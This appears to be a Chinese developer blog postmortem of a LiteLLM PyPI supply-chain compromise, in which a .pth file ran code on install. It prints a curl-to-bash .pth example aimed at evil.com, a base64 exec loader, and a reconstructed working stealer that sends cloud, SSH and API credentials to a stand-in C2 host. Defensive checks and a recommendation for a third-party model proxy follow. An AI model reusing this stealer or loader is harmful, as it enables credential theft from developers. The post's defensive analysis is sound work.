LiteLLM 供应链攻击深度复盘:一个 .pth 文件如何窃取你所有云凭证

109 阅读8分钟

上周五晚上加班赶项目,pip install litellm 完事后发现 AWS 的 key 莫名其妙被吊销了。一开始以为是自己手贱在哪泄露了,结果翻了一圈 CloudTrail 日志才发现——不是我的问题,是 LiteLLM 的 PyPI 包被投毒了。

那一刻我的心态直接炸了。

事件时间线

3 月 18 日,安全研究员在 LiteLLM 的 PyPI 发布记录中发现异常:1.82.7 和 1.82.8 两个版本被注入了恶意代码。这不是 LiteLLM 团队自己发的,而是攻击者通过某种方式获取了 PyPI 发布权限,上传了被篡改的包。

从发布到被发现,中间过了大概 4 天。这 4 天里,所有 pip install litellm 或者 pip install --upgrade litellm 的人,都可能中招。

LiteLLM 官方在确认后迅速撤回了这两个版本,并建议所有用户:

# 检查你当前的版本
pip show litellm | grep Version

# 如果是 1.82.7 或 1.82.8,立即降级
pip install litellm==1.82.6

# 并且立即轮换所有可能暴露的凭证

.pth 文件:Python 里的隐形炸弹

这次攻击最让我毛骨悚然的不是"有人投毒了"——这种事每年都有。让我后背发凉的是攻击手法:利用 .pth 文件实现零交互自动执行

啥意思呢?你不需要 import litellm,不需要调用任何函数,只要这个包被安装到你的环境里,恶意代码就已经跑起来了。

.pth 文件机制

Python 的 .pth 文件原本是个很无害的功能:放在 site-packages 目录下,Python 启动时会自动读取,把里面的路径加到 sys.path

但这里有个致命的设计:如果 .pth 文件的某一行以 import 开头,Python 会直接执行这行代码。

# 正常的 .pth 文件 — 只是添加路径
/some/extra/lib/path

# 恶意的 .pth 文件 — 直接执行代码
import os; os.system('curl http://evil.com/payload.sh | bash')

这意味着攻击者只需要在包里塞一个 .pth 文件,就能在 Python 解释器启动时 自动执行任意代码。不需要你 import,不需要你运行任何脚本,甚至你开一个 Python REPL 就够了。

这次攻击的 .pth 载荷

LiteLLM 被注入的 .pth 文件大概长这样(简化版):

import base64;exec(base64.b64decode(base64.b64decode('嵌套的 base64 编码内容')))

注意看,双层 base64 编码。这是故意增加分析难度的。解码后的实际载荷做了这些事:

import os
import json
import subprocess
import urllib.request

def steal_credentials():
    creds = {}
    
    # 1. AWS 凭证
    aws_cred_file = os.path.expanduser('~/.aws/credentials')
    if os.path.exists(aws_cred_file):
        with open(aws_cred_file) as f:
            creds['aws_credentials'] = f.read()
    
    # 环境变量里的 AWS key
    for key in ['AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'AWS_SESSION_TOKEN']:
        if os.environ.get(key):
            creds[key] = os.environ[key]
    
    # 2. Kubernetes 配置
    kube_config = os.path.expanduser('~/.kube/config')
    if os.path.exists(kube_config):
        with open(kube_config) as f:
            creds['kube_config'] = f.read()
    
    # 3. SSH 私钥
    ssh_dir = os.path.expanduser('~/.ssh')
    if os.path.exists(ssh_dir):
        for fname in os.listdir(ssh_dir):
            fpath = os.path.join(ssh_dir, fname)
            if os.path.isfile(fpath) and 'pub' not in fname:
                with open(fpath) as f:
                    creds[f'ssh_{fname}'] = f.read()
    
    # 4. GCP 服务账号
    gcp_cred = os.environ.get('GOOGLE_APPLICATION_CREDENTIALS')
    if gcp_cred and os.path.exists(gcp_cred):
        with open(gcp_cred) as f:
            creds['gcp_service_account'] = f.read()
    
    # 5. 各种 API Key 环境变量
    for key in os.environ:
        lower = key.lower()
        if any(w in lower for w in ['api_key', 'secret', 'token', 'password']):
            creds[key] = os.environ[key]
    
    # 回传到攻击者服务器
    payload = json.dumps(creds).encode()
    req = urllib.request.Request(
        'https://attacker-c2-server.example/collect',
        data=payload,
        headers={'Content-Type': 'application/json'}
    )
    urllib.request.urlopen(req)

steal_credentials()

上面是我根据安全社区的分析还原的简化版。实际载荷更复杂,有反调试检测、多 C2 地址轮询、还有持久化机制。

受影响范围有多大?

这事吓人的地方在于 LiteLLM 不是个小众库。它是 多模型 LLM 代理层 的主流方案,很多公司用它来统一调用 OpenAI、Claude、Gemini 等各种模型的 API。

根据 PyPI 的下载统计,LiteLLM 每周的下载量大概在 50 万次 左右。即使只有一小部分用户在那 4 天内安装了 1.82.7 或 1.82.8,受影响的环境也可能有几千个。

而且用 LiteLLM 的环境,大概率都配了各种云凭证和 API Key——因为它的核心功能就是调各种 AI 模型的 API。所以这次攻击的精准度其实非常高:投毒一个 AI 相关的库,偷到的全是 AI 和云基础设施的凭证。

自查指南

如果你最近一周内安装或升级过 LiteLLM,按这个清单走一遍:

1. 确认版本

pip show litellm | grep Version
# 如果输出 1.82.7 或 1.82.8,你需要立即行动

2. 检查 .pth 文件

# 找到你的 site-packages 路径
python -c "import site; print(site.getsitepackages())"

# 检查所有 .pth 文件
ls -la /path/to/site-packages/*.pth

# 查看内容,任何包含 import + exec/eval 的都可疑
cat /path/to/site-packages/*.pth

3. 轮换所有凭证

这步没有捷径,如果确认中招,所有 环境变量里的凭证都要轮换:

# AWS — 在 IAM 控制台重新生成 Access Key
aws iam create-access-key --user-name your-user
aws iam delete-access-key --user-name your-user --access-key-id OLD_KEY_ID

# Kubernetes — 重新生成 kubeconfig
# 具体命令取决于你的 K8s 管理方式

# SSH — 重新生成密钥对
ssh-keygen -t ed25519 -C "your_email@example.com"
# 更新所有服务器上的 authorized_keys

# GCP — 在 IAM 控制台重新生成服务账号密钥

4. 检查异常访问日志

# AWS CloudTrail
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetCallerIdentity \
  --start-time 2026-03-18T00:00:00Z \
  --end-time 2026-03-23T00:00:00Z

# 检查是否有来自未知 IP 的 API 调用

防御清单:Python 项目的供应链安全

踩完这个坑之后,我花了一整天重新审视项目的依赖安全策略。分享下我现在的做法:

1. 锁定依赖版本

别再用 >= 了,用精确版本 + hash 校验:

# 生成带 hash 的 requirements
pip-compile --generate-hashes requirements.in -o requirements.txt

生成的文件长这样:

litellm==1.82.6 \
    --hash=sha256:abc123... \
    --hash=sha256:def456...

安装时加 --require-hashes

pip install --require-hashes -r requirements.txt

这样即使有人篡改了 PyPI 上的包,hash 对不上就装不了。

2. 用虚拟环境隔离

这条说烂了但很多人还是不做:

python -m venv .venv
source .venv/bin/activate

# 每个项目独立环境,一个被污染不会影响其他项目

3. 监控 .pth 文件

在 CI/CD 管道里加一步检查:

# check_pth.py — 放进 CI 流程
import site
import os
import sys

suspicious = []
for sp in site.getsitepackages():
    if not os.path.exists(sp):
        continue
    for fname in os.listdir(sp):
        if fname.endswith('.pth'):
            fpath = os.path.join(sp, fname)
            with open(fpath) as f:
                for i, line in enumerate(f, 1):
                    line = line.strip()
                    if line.startswith('import') and any(
                        kw in line for kw in ['exec', 'eval', 'os.', 'subprocess', 'urllib']
                    ):
                        suspicious.append(f'{fpath}:{i}: {line}')

if suspicious:
    print('⚠️ 发现可疑 .pth 文件:')
    for s in suspicious:
        print(f'  {s}')
    sys.exit(1)
else:
    print('✅ .pth 文件检查通过')

4. 使用 pip-audit 扫描已知漏洞

pip install pip-audit
pip-audit

# 输出示例:
# Found 2 known vulnerabilities in 1 package
# Name     Version  ID              Fix Versions
# litellm  1.82.7   PYSEC-2026-xxx  1.82.9

5. 多模型调用的替代方案

经过这次事件,我重新评估了多模型调用的方案。其实如果你用的是 OpenAI SDK 的兼容接口,很多事情不需要 LiteLLM 这种重量级依赖:

import openai

# 调用 Claude
client = openai.OpenAI(
    base_url="https://api.ofox.ai/v1",
    api_key="sk-xxx"
)

response = client.chat.completions.create(
    model="claude-sonnet-4-20250514",
    messages=[{"role": "user", "content": "分析这段代码的安全问题"}]
)

# 同样的代码切换 model 就能调不同的模型
# 不需要额外装一个有 N 个依赖的包

依赖越少,攻击面越小。这是这次事件给我最深刻的教训。

6. 开启 PyPI 的 2FA 和 Trusted Publisher

如果你自己维护开源项目,务必:

# .github/workflows/publish.yml
# 使用 Trusted Publisher 而不是 API Token
jobs:
  publish:
    permissions:
      id-token: write
    steps:
      - uses: pypa/gh-action-pypi-publish@release/v1
  • PyPI 账号开启 2FA
  • 使用 Trusted Publisher(GitHub OIDC)发布,不存 API Token
  • 限制谁有发布权限

这次事件的几个启示

1. 供应链安全不是大公司才需要关心的事。 你一个 pip install 就可能把整台机器的凭证送出去。

2. .pth 文件是 Python 生态里一个被严重低估的攻击面。 大多数安全扫描工具只检查 setup.py__init__.py,不会去看 .pth 文件。

3. "信任但要验证" 在开源世界已经不够了。 即使是像 LiteLLM 这样 star 数过万的项目,发布环节一旦被攻破,所有用户都是受害者。

4. 减少依赖 = 减少风险。 能用标准库解决的别装第三方包,能用轻量级方案的别上重量级框架。


最后说个后续:LiteLLM 团队在事件发生后加强了发布流程的安全控制,启用了 Trusted Publisher 和更严格的 code review。他们的应急响应速度还是值得肯定的。

但这事也提醒我们:下一个被投毒的可能是任何一个你正在用的库。与其祈祷不中招,不如现在就把防御措施做到位。

你的项目里有多少个依赖?你最后一次审计它们是什么时候?

如果答案是"不知道"和"从来没有",也许现在是个好时机。